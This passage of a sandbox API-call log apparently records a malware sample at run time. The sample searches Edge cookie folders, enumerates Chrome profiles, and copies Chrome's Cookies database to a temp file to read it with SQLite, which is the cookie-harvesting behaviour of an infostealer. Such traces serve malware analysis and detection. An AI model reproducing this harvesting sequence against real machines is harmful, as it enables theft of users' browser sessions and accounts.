halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.419] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.419] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.419] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\", lpDst=0x6f86ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\") returned 0x7b [0061.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.420] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies")) returned 0xffffffff [0061.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.420] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.420] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.420] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies")) returned 0xffffffff [0061.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.420] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.420] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.420] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\", lpDst=0x6f86ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\") returned 0x75 [0061.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.420] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies")) returned 0xffffffff [0061.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.421] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.421] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.421] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.421] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies")) returned 0xffffffff [0061.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.421] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.421] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.421] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x6f86ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x45 [0061.421] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d540 [0061.421] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.421] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0061.421] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0061.422] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18e078*=0x0, psz="119917", len=0x6 | out: pbstr=0x18e078*="119917") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18df04*=0x0, psz="8315", len=0x4 | out: pbstr=0x18df04*="8315") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18df00*=0x0, psz="2349", len=0x4 | out: pbstr=0x18df00*="2349") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18defc*=0x0, psz="682", len=0x3 | out: pbstr=0x18defc*="682") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18def8*=0x0, psz="7418", len=0x4 | out: pbstr=0x18def8*="7418") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18e080*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x54 | out: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18df0c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x54 | out: pbstr=0x18df0c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", len=0x54 | out: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18df08*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x53 | out: pbstr=0x18df08*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x53 | out: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18df04*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x53 | out: pbstr=0x18df04*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0061.423] SysReAllocStringLen (in: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x53 | out: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0061.424] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0061.424] SysReAllocStringLen (in: pbstr=0x18e07c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", len=0x3e | out: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp") returned 1 [0061.424] SysReAllocStringLen (in: pbstr=0x18df0c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", len=0x3e | out: pbstr=0x18df0c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp") returned 1 [0061.424] SysReAllocStringLen (in: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", len=0x3e | out: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp") returned 1 [0061.424] SysReAllocStringLen (in: pbstr=0x18df08*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", len=0x3e | out: pbstr=0x18df08*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp") returned 1 [0061.424] SysReAllocStringLen (in: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", len=0x3e | out: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp") returned 1 [0061.424] SysReAllocStringLen (in: pbstr=0x18df04*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", len=0x3e | out: pbstr=0x18df04*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp") returned 1 [0061.424] SysReAllocStringLen (in: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", len=0x3e | out: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp") returned 1 [0061.424] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\119917831523496827418.tmp"), bFailIfExists=1) returned 1 [0061.498] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", cchWideChar=62, lpMultiByteStr=0x18cf08, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmpl", lpUsedDefaultChar=0x0) returned 62 [0061.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a8cfc, cbMultiByte=62, lpWideCharStr=0x18cee8, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp톴\x18쾀\x18") returned 62 [0061.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0061.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", nBufferLength=0x42, lpBuffer=0x4503ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp", lpFilePart=0x0) returned 0x3e [0061.498] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\119917831523496827418.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18dd20 | out: lpFileInformation=0x18dd20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf304690, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xaf304690, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x98d1e730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1 [0061.499] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\119917831523496827418.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0061.499] ReadFile (in: hFile=0x440, lpBuffer=0x18de50, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18de14, lpOverlapped=0x18ddd8 | out: lpBuffer=0x18de50*, lpNumberOfBytesRead=0x18de14*=0x64, lpOverlapped=0x18ddd8) returned 1 [0061.499] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0061.500] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1d8 | out: lpOverlapped=0x18d1d8) returned 1 [0061.500] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1cc | out: lpOverlapped=0x18d1cc) returned 1 [0061.500] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d1dc | out: lpOverlapped=0x18d1dc) returned 1 [0061.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c628, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0061.502] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\119917831523496827418.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d1d8 | out: lpFileInformation=0x18d1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.502] GetLastError () returned 0x2 [0061.502] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\119917831523496827418.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d1f0 | out: lpFileInformation=0x18d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.502] GetLastError () returned 0x2 [0061.502] ReadFile (in: hFile=0x440, lpBuffer=0x45317e0, nNumberOfBytesToRead=0x400, 